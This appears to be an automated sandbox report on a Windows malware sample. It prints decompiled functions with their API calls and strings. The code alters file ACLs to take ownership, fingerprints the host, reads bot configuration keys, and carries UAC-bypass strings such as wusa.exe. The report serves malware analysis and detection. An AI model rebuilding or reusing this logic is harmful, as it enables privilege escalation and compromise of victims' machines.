Part of subcall function 00406CC9: GetModuleHandleA.KERNEL32(kernel32,GetSystemWow64DirectoryA,PromptOnSecureDesktop,000000E4,00406DDC,000000C8), ref: 00406CE7
Part of subcall function 00406CC9: GetProcAddress.KERNEL32(00000000), ref: 00406CEE
Part of subcall function 00406CC9: GetSystemDirectoryA.KERNEL32 ref: 00406D14
Part of subcall function 00406CC9: GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00406D2B

GetVolumeInformationA.KERNELBASE(?,00000000,00000000,00412F0C,00000000,00000000,00000000,00000000,000000C8), ref: 00406E1A

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: Directory$AddressHandleInformationModuleProcSystemVolumeWindows
String ID:
API String ID: 1823874839-0
Opcode ID: 345ca179d3c76e57dc7c5b3e21092807213ae32d0ff3695f39e28a6e5ad22b42
Instruction ID: 46d685041afc82653286dae93d5fe3173771f16ecf38a4b71df535c97c95e6ed
Opcode Fuzzy Hash: 345ca179d3c76e57dc7c5b3e21092807213ae32d0ff3695f39e28a6e5ad22b42
Instruction Fuzzy Hash: 55F028B9104218AFD710DB68DDC5ED777ADD704308F008476E242E3141D6B89D984B5C

Uniqueness

Uniqueness Score: -1.00%

Function 00426B94, Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__nh_malloc_dbg.LIBCMTD ref: 00426BAB
__nh_malloc_dbg.LIBCMTD ref: 00426CD7

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: c4661c3c4858028391fa663caf891859117bd89860bf4bc4774b5178d9c8c5b6
Instruction ID: 1256e838ba406e186c85b13e3fbafda9950f9b687815e66fd155f0770eafdf6d
Opcode Fuzzy Hash: c4661c3c4858028391fa663caf891859117bd89860bf4bc4774b5178d9c8c5b6
Instruction Fuzzy Hash: A3E0DFB1F883189ADB308AA5A807798B720E744734F60832FE639662C1DA7904058A08

Uniqueness

Uniqueness Score: -1.00%

Function 00424640, Relevance: 1.5, APIs: 1, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

__encode_pointer.LIBCMTD ref: 00424647

Part of subcall function 00424570: __crt_wait_module_handle.LIBCMTD ref: 004245BC
Part of subcall function 00424570: RtlEncodePointer.NTDLL(?), ref: 004245F7

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: EncodePointer__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 2010845264-0
Opcode ID: 4910bf5801155143916dbb33b30045cd9bbeedd00758362c9e9c67699a610058
Instruction ID: 871c8a55f91f24b447ffe6d1892b5b4f3116a73ce4d6a4ec7a30060807f420cf
Opcode Fuzzy Hash: 4910bf5801155143916dbb33b30045cd9bbeedd00758362c9e9c67699a610058
Instruction Fuzzy Hash: F1A0126294420833D00020833803B02394C87C1A38E480071F60C051427842A450409B

Uniqueness

Uniqueness Score: -1.00%

Function 0041B5B0, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

___security_init_cookie.LIBCMTD ref: 0041B5B5

Part of subcall function 0041B5D0: _check_managed_app.LIBCMTD ref: 0041B64C
Part of subcall function 0041B5D0: __heap_init.LIBCMTD ref: 0041B656
Part of subcall function 0041B5D0: _fast_error_exit.LIBCMTD ref: 0041B664
Part of subcall function 0041B5D0: __mtinit.LIBCMTD ref: 0041B66C
Part of subcall function 0041B5D0: _fast_error_exit.LIBCMTD ref: 0041B677
Part of subcall function 0041B5D0: __RTC_Initialize.LIBCMTD ref: 0041B689
Part of subcall function 0041B5D0: ___crtGetEnvironmentStringsW.LIBCMTD ref: 0041B6B2
Part of subcall function 0041B5D0: ___wsetargv.LIBCMTD ref: 0041B6BC
Part of subcall function 0041B5D0: __wsetenvp.LIBCMTD ref: 0041B6CF
Part of subcall function 0041B5D0: __cinit.LIBCMTD ref: 0041B6E4
Part of subcall function 0041B5D0: __wwincmdln.LIBCMTD ref: 0041B701

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: _fast_error_exit$EnvironmentInitializeStrings___crt___security_init_cookie___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 3809881541-0
Opcode ID: e1e3c77240cc01c4a133dd0e081f226c1c898797633077b20999a03fb70af3d1
Instruction ID: 367a9a49b4b067ee11241080c34aad380b9ed5fe05adad6130f7080c0973b3ce
Opcode Fuzzy Hash: e1e3c77240cc01c4a133dd0e081f226c1c898797633077b20999a03fb70af3d1
Instruction Fuzzy Hash: F6A0223200020C22080033E33003A0E320E88E03ACBC8000FB00C028032C0CE88020EF

Uniqueness

Uniqueness Score: -1.00%

Function 006C0920, Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000), ref: 006C0929

Memory Dump Source

Source File: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_6c0000_A881.jbxd

Yara matches

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 89cc55c70507a058e9ffb3aae4f4296a9997ee6c0a4edae31c5b1a86bfd637e3
Instruction ID: 30f3d7182eefe4c983e93399632d1765ae8032794c4adb82b9e2ac84a56656d9
Opcode Fuzzy Hash: 89cc55c70507a058e9ffb3aae4f4296a9997ee6c0a4edae31c5b1a86bfd637e3
Instruction Fuzzy Hash: EE90026074415011D82025AC0C02B0500121751634F344B107130AD1E4D840D6400115

Uniqueness

Uniqueness Score: -1.00%

Function 00419C11, Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000,0041A1D3,?,?,?,?,0041B735,00400000,00000000,?,0000000A), ref: 00419C19

Memory Dump Source

Source File: 0000001A.00000002.443226113.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_A881.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: c5652da4b9a0751b24a4bb7e442be5ed37a4c831d8d269b5dfcf17dbb6553f87
Instruction ID: 019fb2e64a9b276ebf310d41e95adf70c6358cc02637eb6adb2296fd202f371f
Opcode Fuzzy Hash: c5652da4b9a0751b24a4bb7e442be5ed37a4c831d8d269b5dfcf17dbb6553f87
Instruction Fuzzy Hash: 12B012B94413419BC7404F60AE047403F61F306703F000020F200D0674C7700080AB05

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00407809, Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 226
memoryCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E00407809(CHAR* _a4, signed int _a8) {
				signed int _v8;
				void* _v12;
				void* _v16;
				struct _ACL* _v20;
				signed int _v24;
				int _v28;
				long _v32;
				long _v36;
				long _v40;
				long _v44;
				int _v48;
				int _v52;
				union _SID_NAME_USE _v56;
				int _v60;
				void _v128;
				char _v384;
				char _v512;
				struct _SECURITY_DESCRIPTOR _v1536;
				struct _ACL* _t110;
				int _t120;
				intOrPtr _t121;
				signed int _t123;
				signed int _t141;
				char* _t146;
				signed int _t153;
				void* _t154;
				void* _t155;
				void* _t156;

				_t141 = 0;
				_v28 = 0;
				_v20 = 0;
				_v36 = 0x80;
				if(GetUserNameA( &_v384,  &_v36) == 0) {
					L42:
					return _v28;
				}
				_v32 = 0x44;
				_v40 = 0x80;
				if(LookupAccountNameA(0,  &_v384,  &_v128,  &_v32,  &_v512,  &_v40,  &_v56) == 0) {
					goto L42;
				}
				_v32 = GetLengthSid( &_v128);
				_v44 = 0x400;
				if(GetFileSecurityA(_a4, 5,  &_v1536, 0x400,  &_v44) == 0) {
					goto L42;
				} else {
					if(GetSecurityDescriptorOwner( &_v1536,  &_v16,  &_v48) != 0) {
						_v36 = 0x80;
						_v40 = 0x80;
						if(EqualSid( &_v128, _v16) == 0) {
							_v28 = 1;
							_t155 = LocalAlloc(0x40, 0x14);
							if(_t155 != 0) {
								LocalFree(_t155);
							}
						}
					}
					_v24 = _t141;
					if(GetSecurityDescriptorDacl( &_v1536,  &_v60,  &_v20,  &_v52) == 0) {
						L41:
						goto L42;
					}
					_t110 = _v20;
					if(_t110 == _t141) {
						goto L41;
					}
					_v8 = _v8 & _t141;
					if(0 >= _t110->AceCount) {
						goto L41;
					} else {
						goto L13;
					}
					do {
						L13:
						if(GetAce(_t110, _v8,  &_v12) == 0) {
							L32:
							_v8 = _v8 + 1;
							goto L33;
						}
						_t153 = 0;
						_v16 = _v12 + 8;
						if(_t141 <= 0) {
							L19:
							if(_t141 < 0x20) {
								 *((intOrPtr*)(_t156 + _t141 * 4 - 0xfc)) = _v16;
								_t141 = _t141 + 1;
							}
							_t120 = EqualSid( &_v128, _v16);
							_t146 = _v12;
							if(_t120 == 0) {
								_t121 = 0x1200a8;
							} else {
								asm("sbb eax, eax");
								_t121 = ( ~_a8 & 0x00090046) + 0x1601b9;
							}
							if( *((intOrPtr*)(_t146 + 4)) != _t121) {
								 *((intOrPtr*)(_t146 + 4)) = _t121;
								_t146 = _v12;
								_v24 = 1;
							}
							if( *_t146 != 0 || ( *(_t146 + 1) & 0x00000010) != 0) {
								 *_t146 = 0;
								_t66 = _v16 + 8; // 0xc8685f74
								_t123 =  *_t66;
								if(_t123 != 0) {
									 *((char*)(_v12 + 1)) = (_t123 & 0xffffff00 | _t123 - 0x00000050 > 0x00000000) + 2;
								} else {
									 *((char*)(_v12 + 1)) = 0xb;
								}
								_v24 = 1;
							}
							goto L32;
						}
						while(EqualSid( *(_t156 + _t153 * 4 - 0xfc), _v16) == 0) {
							_t153 = _t153 + 1;
							if(_t153 < _t141) {
								continue;
							}
							break;
						}
						if(_t153 >= _t141) {
							goto L19;
						}
						DeleteAce(_v20, _v8);
						_v24 = 1;
						L33:
						_t110 = _v20;
					} while (_v8 < (_t110->AceCount & 0x0000ffff));
					if(_v24 != 0) {
						_v28 = 1;
						_t154 = LocalAlloc(0x40, 0x14);
						if(_t154 != 0) {
							if(InitializeSecurityDescriptor(_t154, 1) != 0 && SetSecurityDescriptorDacl(_t154, 1, _v20, 0) != 0 && SetFileSecurityA(_a4, 4, _t154) != 0) {
								_v28 = 1;
							}
							LocalFree(_t154);
						}
					}
					goto L41;
				}
			}

0x0040781e
0x00407826
0x00407829
0x0040782c
0x00407837
0x00407a8e
0x00407a94
0x00407a94
0x0040785c
0x00407863
0x0040786e
0x00000000
0x00000000
0x0040787e
0x0040788b
0x004078a2
0x00000000
0x004078a8
0x004078c3
0x004078cc
0x004078cf
0x004078da
0x004078e0
0x004078e9
0x004078ed
0x00407917
0x00407917
0x004078ed
0x004078da
0x00407930
0x0040793b
0x00407a8d
0x00000000
0x00407a8d
0x00407941
0x00407946
0x00000000
0x00000000
0x0040794c
0x00407955
0x00000000
0x00000000
0x00000000
0x00000000
0x0040795b
0x0040795b
0x0040796b
0x00407a2a
0x00407a2a
0x00000000
0x00407a2a
0x00407977
0x00407979
0x0040797e
0x004079ae
0x004079b1
0x004079b6
0x004079bd
0x004079bd
0x004079c5
0x004079cb
0x004079d0
0x004079e5
0x004079d2
0x004079d7
0x004079de
0x004079de
0x004079ed
0x004079ef
0x004079f2
0x004079f5
0x004079f5
0x004079fb
0x00407a03
0x00407a09
0x00407a09
0x00407a0e
0x00407a24
0x00407a10
0x00407a13
0x00407a13
0x00407a27
0x00407a27
0x00000000
0x004079fb
0x00407980
0x00407994
0x00407997
0x00000000
0x00000000
0x00000000
0x00407997
0x0040799b
0x00000000
0x00000000
0x004079a3
0x004079a9
0x00407a2d
0x00407a2d
0x00407a34
0x00407a41
0x00407a47
0x00407a50
0x00407a54
0x00407a60
0x00407a83
0x00407a83
0x00407a87
0x00407a87
0x00407a54
0x00000000
0x00407a41

APIs

GetUserNameA.ADVAPI32(?,?), ref: 0040782F
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00407866
GetLengthSid.ADVAPI32(?), ref: 00407878
GetFileSecurityA.ADVAPI32(?,00000005,?,00000400,?), ref: 0040789A
GetSecurityDescriptorOwner.ADVAPI32(?,00407F63,?), ref: 004078B8
EqualSid.ADVAPI32(?,00407F63), ref: 004078D2
LocalAlloc.KERNEL32(00000040,00000014), ref: 004078E3
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 004078F1
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00407901
SetFileSecurityA.ADVAPI32(?,00000001,00000000), ref: 00407910
LocalFree.KERNEL32(00000000), ref: 00407917
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00407933
GetAce.ADVAPI32(?,00000000,?), ref: 00407963
EqualSid.ADVAPI32(?,00407F63), ref: 0040798A
DeleteAce.ADVAPI32(?,00000000), ref: 004079A3
EqualSid.ADVAPI32(?,00407F63), ref: 004079C5
LocalAlloc.KERNEL32(00000040,00000014), ref: 00407A4A
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00407A58
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,?,00000000), ref: 00407A69
SetFileSecurityA.ADVAPI32(?,00000004,00000000), ref: 00407A79
LocalFree.KERNEL32(00000000), ref: 00407A87

Strings

D, xrefs: 0040785C

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$Local$EqualFile$AllocDaclFreeInitializeNameOwner$AccountDeleteLengthLookupUser
String ID: D
API String ID: 3722657555-2746444292
Opcode ID: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction ID: df0c13f2d89176358eaf39038022480abc221899387876bf5e0f356ce13a0778
Opcode Fuzzy Hash: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction Fuzzy Hash: 59813C71E04119ABDB11CFA5DD44FEFBBB8AB08340F14817AE505F6290D739AA41CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00401D96, Relevance: 33.5, APIs: 6, Strings: 13, Instructions: 205
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E00401D96(void* __ecx, intOrPtr* _a4) {
				struct _OSVERSIONINFOA _v156;
				struct _SYSTEM_INFO _v192;
				char _v196;
				intOrPtr _v200;
				intOrPtr _t59;
				signed int _t61;
				signed int _t63;
				void* _t65;
				intOrPtr _t66;
				intOrPtr _t67;
				signed int _t71;
				intOrPtr _t93;
				intOrPtr _t96;
				intOrPtr _t97;
				intOrPtr _t102;
				intOrPtr* _t103;
				intOrPtr* _t105;
				void* _t109;
				void* _t110;
				void* _t111;
				void* _t112;
				void* _t113;
				void* _t114;

				_t105 = _a4;
				_t102 = 0x64;
				E0040EE2A(__ecx, _t105, 0, _t102);
				_t109 =  &_v200 + 0xc;
				 *_t105 = _t102;
				_v156.dwOSVersionInfoSize = 0x9c;
				if(GetVersionExA( &_v156) == 0) {
					 *((char*)(_t105 + 0x41)) = 0;
				} else {
					 *((char*)(_t105 + 0x41)) = (_v156.dwMajorVersion << 4) + _v156.dwMinorVersion;
				}
				GetSystemInfo( &_v192);
				 *((char*)(_t105 + 0x3f)) = _v192.dwNumberOfProcessors;
				_v196 = 0;
				_t103 = GetProcAddress(GetModuleHandleA("kernel32"), "IsWow64Process");
				if(_t103 != 0) {
					 *_t103(GetCurrentProcess(),  &_v196);
				}
				_t104 = "localcfg";
				 *((char*)(_t105 + 0x40)) = 2;
				_t59 = E0040E819(1, "localcfg", "lid_file_upd", 0);
				_t92 = "flags_upd";
				 *((intOrPtr*)(_t105 + 0x24)) = _t59;
				 *(_t105 + 4) =  *(_t105 + 4) | E0040E819(1, "localcfg", "flags_upd", 0);
				_t61 =  *(_t105 + 4);
				_t110 = _t109 + 0x20;
				if((_t61 & 0x00000008) != 0) {
					 *(_t105 + 4) = _t61 & 0xfffffff7;
					E0040DF70(1, "work_srv");
					E0040DF70(1, "start_srv");
					_t110 = _t110 + 0x10;
				}
				E0040EA84(1, _t104, _t92, 0);
				_t93 = 0;
				_t63 = E0040E819(1, _t104, "net_type", 0);
				_t111 = _t110 + 0x20;
				 *(_t105 + 0x14) = _t63;
				if(E0040199C(_t63) == 0) {
					 *(_t105 + 0x14) =  *(_t105 + 0x14) | 0x00000010;
				} else {
					 *(_t105 + 0x14) =  *(_t105 + 0x14) | 0x00000020;
				}
				_t65 = E0040E819(1, _t104, "born_date", _t93);
				_t112 = _t111 + 0x10;
				 *((intOrPtr*)(_t105 + 0x30)) = _t93;
				if(_t65 == _t93) {
					_t97 = E0040F04E(_t93);
					E0040EA84(1, _t104, "born_date", _t97);
					_t112 = _t112 + 0x14;
					 *((intOrPtr*)(_t105 + 0x30)) = _t97;
					_t93 = 0;
				}
				_t94 = "id";
				_t66 = E0040E819(1, _t104, "id", _t93);
				_t113 = _t112 + 0x10;
				 *((intOrPtr*)(_t105 + 0xc)) = _t66;
				if(_t66 == 0) {
					_v200 = E00401B71();
					E0040EA84(1, _t104, _t94, _t77);
					_t113 = _t113 + 0x10;
					 *((intOrPtr*)(_t105 + 0xc)) = _v200;
				}
				_t95 = "hi_id";
				_t67 = E0040E819(1, _t104, "hi_id", 0);
				_t114 = _t113 + 0x10;
				 *((intOrPtr*)(_t105 + 0x10)) = _t67;
				if(_t67 == 0) {
					_v200 = E00401BDF();
					E0040EA84(1, _t104, _t95, _t74);
					_t114 = _t114 + 0x10;
					 *((intOrPtr*)(_t105 + 0x10)) = _v200;
				}
				 *((intOrPtr*)(_t105 + 8)) = 0x61;
				_t96 = E0040E819(1, _t104, "loader_id", 0);
				if(_t96 == 0) {
					_t96 = 8;
					E0040EA84(1, _t104, "loader_id", _t96);
				}
				 *((intOrPtr*)(_t105 + 0x1c)) = _t96;
				 *((intOrPtr*)(_t105 + 0x34)) = E004030B5();
				if( *0x41201d == 0) {
					if( *0x41201f == 0) {
						 *(_t105 + 0x18) =  *(_t105 + 0x18) & 0x00000000;
					} else {
						if(E00406EC3() != 0) {
							 *(_t105 + 0x18) = 2;
						} else {
							 *(_t105 + 0x18) = 0x10;
						}
					}
				} else {
					 *(_t105 + 0x18) = 1;
				}
				if(_v196 != 0) {
					 *(_t105 + 0x18) =  *(_t105 + 0x18) | 0x00000200;
				}
				_t71 = GetTickCount() / 0x3e8;
				 *0x412110 = _t71;
				 *(_t105 + 0x28) = _t71;
				return _t71;
			}

0x00401d9f
0x00401da9
0x00401daf
0x00401db4
0x00401dbc
0x00401dbe
0x00401dce
0x00401de0
0x00401dd0
0x00401ddb
0x00401ddb
0x00401de8
0x00401dfc
0x00401dff
0x00401e10
0x00401e14
0x00401e22
0x00401e22
0x00401e2a
0x00401e34
0x00401e38
0x00401e3e
0x00401e46
0x00401e4e
0x00401e51
0x00401e54
0x00401e59
0x00401e64
0x00401e67
0x00401e72
0x00401e77
0x00401e77
0x00401e7f
0x00401e84
0x00401e8e
0x00401e93
0x00401e96
0x00401ea0
0x00401ea8
0x00401ea2
0x00401ea2
0x00401ea2
0x00401eb4
0x00401eb9
0x00401ebc
0x00401ec1
0x00401ec9
0x00401ed3
0x00401ed8
0x00401edb
0x00401ede
0x00401ede
0x00401ee1
0x00401ee9
0x00401eee
0x00401ef1
0x00401ef6
0x00401f01
0x00401f05
0x00401f0e
0x00401f11
0x00401f11
0x00401f16
0x00401f1e
0x00401f23
0x00401f26
0x00401f2b
0x00401f36
0x00401f3a
0x00401f43
0x00401f46
0x00401f46
0x00401f52
0x00401f5e
0x00401f65
0x00401f69
0x00401f72
0x00401f77
0x00401f7a
0x00401f82
0x00401f8c
0x00401f9a
0x00401fb7
0x00401f9c
0x00401fa3
0x00401fae
0x00401fa5
0x00401fa5
0x00401fa5
0x00401fa3
0x00401f8e
0x00401f8e
0x00401f8e
0x00401fc0
0x00401fc2
0x00401fc2
0x00401fd6
0x00401fd9
0x00401fde
0x00401fea

APIs

GetVersionExA.KERNEL32 ref: 00401DC6
GetSystemInfo.KERNEL32(?), ref: 00401DE8
GetModuleHandleA.KERNEL32(kernel32,IsWow64Process), ref: 00401E03
GetProcAddress.KERNEL32(00000000), ref: 00401E0A
GetCurrentProcess.KERNEL32(?), ref: 00401E1B
GetTickCount.KERNEL32 ref: 00401FC9

Part of subcall function 00401BDF: GetComputerNameA.KERNEL32 ref: 00401C15

Strings

IsWow64Process, xrefs: 00401DF2
Mt, xrefs: 00401E03
work_srv, xrefs: 00401E5E
hi_id, xrefs: 00401F16, 00401F1B, 00401F33
net_type, xrefs: 00401E87
localcfg, xrefs: 00401E2A, 00401E31, 00401E44, 00401E7D, 00401E8C, 00401EB2, 00401ED1, 00401EE7, 00401EFF, 00401F1C, 00401F34, 00401F50, 00401F70
kernel32, xrefs: 00401DF7
0t, xrefs: 00401FC9
lid_file_upd, xrefs: 00401E25
born_date, xrefs: 00401EAD, 00401ECC
flags_upd, xrefs: 00401E3E, 00401E43, 00401E7C
start_srv, xrefs: 00401E6C
loader_id, xrefs: 00401F4B, 00401F6B

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: AddressComputerCountCurrentHandleInfoModuleNameProcProcessSystemTickVersion
String ID: 0t$IsWow64Process$born_date$flags_upd$hi_id$kernel32$lid_file_upd$loader_id$localcfg$net_type$start_srv$work_srv$Mt
API String ID: 4207808166-1309689597
Opcode ID: 52000fdd36173797c6d9852f05b2f7d3bbe79e14d00c0f3373a6a06b26d807cb
Instruction ID: 54c1e59e0de162fea3d0b4a588507db8dabc792a1e082174f42e6dfe58141249
Opcode Fuzzy Hash: 52000fdd36173797c6d9852f05b2f7d3bbe79e14d00c0f3373a6a06b26d807cb
Instruction Fuzzy Hash: 3651FA705003446FD330AF768C85F67BAECEB84708F00493FF955A2292D7BDA94487A9

Uniqueness

Uniqueness Score: -1.00%

Function 00401280, Relevance: 30.2, APIs: 9, Strings: 8, Instructions: 417stringCOMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 0040139A
lstrlenW.KERNEL32(-00000003), ref: 00401571

Strings

<, xrefs: 00401378
@, xrefs: 00401380
useless, xrefs: 0040161E
uac, xrefs: 00401628
wusa.exe, xrefs: 00401388
, xrefs: 00401462
D, xrefs: 004015C6
%systemroot%\system32\cmd.exe, xrefs: 00401316

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_A881.jbxd

Yara matches

Similarity

API ID: ExecuteShelllstrlen
String ID: $%systemroot%\system32\cmd.exe$<$@$D$uac$useless$wusa.exe
API String ID: 1628651668-1839596206
Opcode ID: 2389670ef0d52bc0af3abcc9b5081f8297bcd674c671d6a9091d706800eac20c
Instruction ID: 915494465e6448ea0d8334ed2feda226c725056e28db06d0983f622db304c09c
Opcode Fuzzy Hash: 2389670ef0d52bc0af3abcc9b5081f8297bcd674c671d6a9091d706800eac20c
Instruction Fuzzy Hash: E5F19FB55083419FD720DF64C888BABB7E5FB88304F10892EF596A73A0D778D944CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040405E, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 203
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040405E(void* __ecx) {
				unsigned int _v8;
				unsigned int _v12;
				void* _v16;
				void* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v40;
				void* _t40;
				void* _t43;
				void* _t49;
				void* _t56;
				void* _t62;
				void* _t64;
				long _t71;
				void* _t82;
				void* _t92;
				void* _t93;
				void* _t95;
				void* _t97;
				void* _t98;
				void* _t99;
				void* _t103;
				void* _t104;

				_t95 = __ecx;
				_v8 = 0;
				_t40 = CreateEventA(0, 1, 1, 0);
				_v16 = _t40;
				if(_t40 != 0) {
					_t43 = E00404000(E00403ECD(_t95),  &_v20);
					_t97 = _t98;
					_t102 = 0x7d0;
					_t92 = 0x100;
					_t99 = 0x4122f8;
					if(_t43 == 0) {
						L10:
						E0040EE2A(_t97, _t99, 0, _t92);
						_t104 = _t103 + 0xc;
						_t93 = 0xa;
						while(1) {
							_t93 = _t93 - 1;
							_t99 = CreateNamedPipeA(E00403ECD(_t97), 0x40000003, 0, 0xff, 0x64, 0x64, 0x64, 0);
							if(_t99 != 0xffffffff) {
								break;
							}
							Sleep(0x1f4);
							if(_t93 != 0) {
								continue;
							}
							CloseHandle(_v16);
							return 0;
						}
						L14:
						while(1) {
							do {
								L14:
								while(1) {
									do {
										if(ConnectNamedPipe(_t99, 0) != 0) {
											goto L16;
										}
										_t71 = GetLastError();
										asm("sbb eax, eax");
										if( ~(_t71 - 0x217) + 1 == 0) {
											L25:
											DisconnectNamedPipe(_t99);
											continue;
										}
										L16:
										_t49 = E00403F8C(_t99,  &_v12, 4, _v16, _t102);
										_t104 = _t104 + 0x14;
									} while (_t49 == 0);
									_t92 = _v16;
									_v8 = (_v12 >> 2) + _v12;
									E00403F18(_t99,  &_v8, 4, _t92, _t102);
									_t56 = E00403F8C(_t99,  &_v12, 4, _t92, _t102);
									_t104 = _t104 + 0x28;
									if(_t56 == 0 || _v12 != (_v8 >> 2) + _v8) {
										goto L25;
									} else {
										_t62 = E00403F8C(_t99,  &_v28, 8, _t92, _t102);
										_t104 = _t104 + 0x14;
										if(_t62 == 0 || _v24 != 0xc) {
											goto L25;
										} else {
											_t64 = E00403F8C(_t99,  &_v40, 0xc, _t92, _t102);
											_t104 = _t104 + 0x14;
											if(_t64 == 0) {
												goto L25;
											}
											break;
										}
									}
								}
							} while (_v28 != 1);
							E00403F18(_t99,  &_v8, 4, _t92, _t102);
							_t103 = _t104 + 0x14;
							if(_v32 == 0) {
								_t102 = CloseHandle;
								CloseHandle(_t99);
								CloseHandle(_t92);
								E0040E318();
								L8:
								ExitProcess(0);
							}
							 *0x41215a =  *0x41215a + 1;
						}
					}
					E0040EE2A(_t97, 0x4122f8, 0, 0x100);
					_t103 = _t103 + 0xc;
					if(_v20 == 0xffffffff) {
						goto L10;
					}
					_v12 = E0040ECA5();
					E00403F18(_v20,  &_v12, 4, _v16, 0x7d0);
					_t82 = E00403F8C(_v20,  &_v8, 4, _v16, 0x7d0);
					_t103 = _t103 + 0x28;
					if(_t82 == 0 || _v8 != (_v12 >> 2) + _v12) {
						CloseHandle(_v20);
						goto L10;
					} else {
						_v8 = _v8 + (_v8 >> 2);
						E00403F18(_v20,  &_v8, 4, _v16, 0x7d0);
						_t103 = _t103 + 0x14;
						goto L8;
					}
				}
				return 0;
			}

0x0040405e
0x0040406d
0x00404070
0x00404076
0x0040407b
0x00404090
0x00404096
0x00404097
0x0040409c
0x004040a1
0x004040a8
0x00404130
0x00404134
0x00404139
0x0040413e
0x0040413f
0x00404153
0x00404160
0x00404165
0x00000000
0x00000000
0x0040416c
0x00404174
0x00000000
0x00000000
0x00404179
0x00000000
0x00404182
0x00000000
0x00404188
0x00404188
0x00000000
0x00404188
0x00404188
0x00404193
0x00000000
0x00000000
0x00404195
0x004041a2
0x004041a5
0x0040425e
0x0040425f
0x00000000
0x0040425f
0x004041ab
0x004041b6
0x004041bb
0x004041be
0x004041c5
0x004041d0
0x004041da
0x004041e8
0x004041ed
0x004041f2
0x00000000
0x00404202
0x0040420b
0x00404210
0x00404215
0x00000000
0x0040421d
0x00404226
0x0040422b
0x00404230
0x00000000
0x00000000
0x00000000
0x00404230
0x00404215
0x004041f2
0x00404232
0x00404245
0x0040424a
0x00404251
0x0040426a
0x00404271
0x00404274
0x00404276
0x0040411f
0x00404121
0x00404121
0x00404253
0x00404253
0x00404188
0x004040b2
0x004040b7
0x004040be
0x00000000
0x00000000
0x004040c9
0x004040d5
0x004040e7
0x004040ec
0x004040f1
0x0040412a
0x00000000
0x00404101
0x0040410b
0x00404117
0x0040411c
0x00000000
0x0040411c
0x004040f1
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000), ref: 00404070
ExitProcess.KERNEL32 ref: 00404121

Strings

PromptOnSecureDesktop, xrefs: 004040A1, 004040B1, 00404133

Memory Dump Source

Source File: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.443214097.0000000000414000.00000040.00020000.sdmp Download File

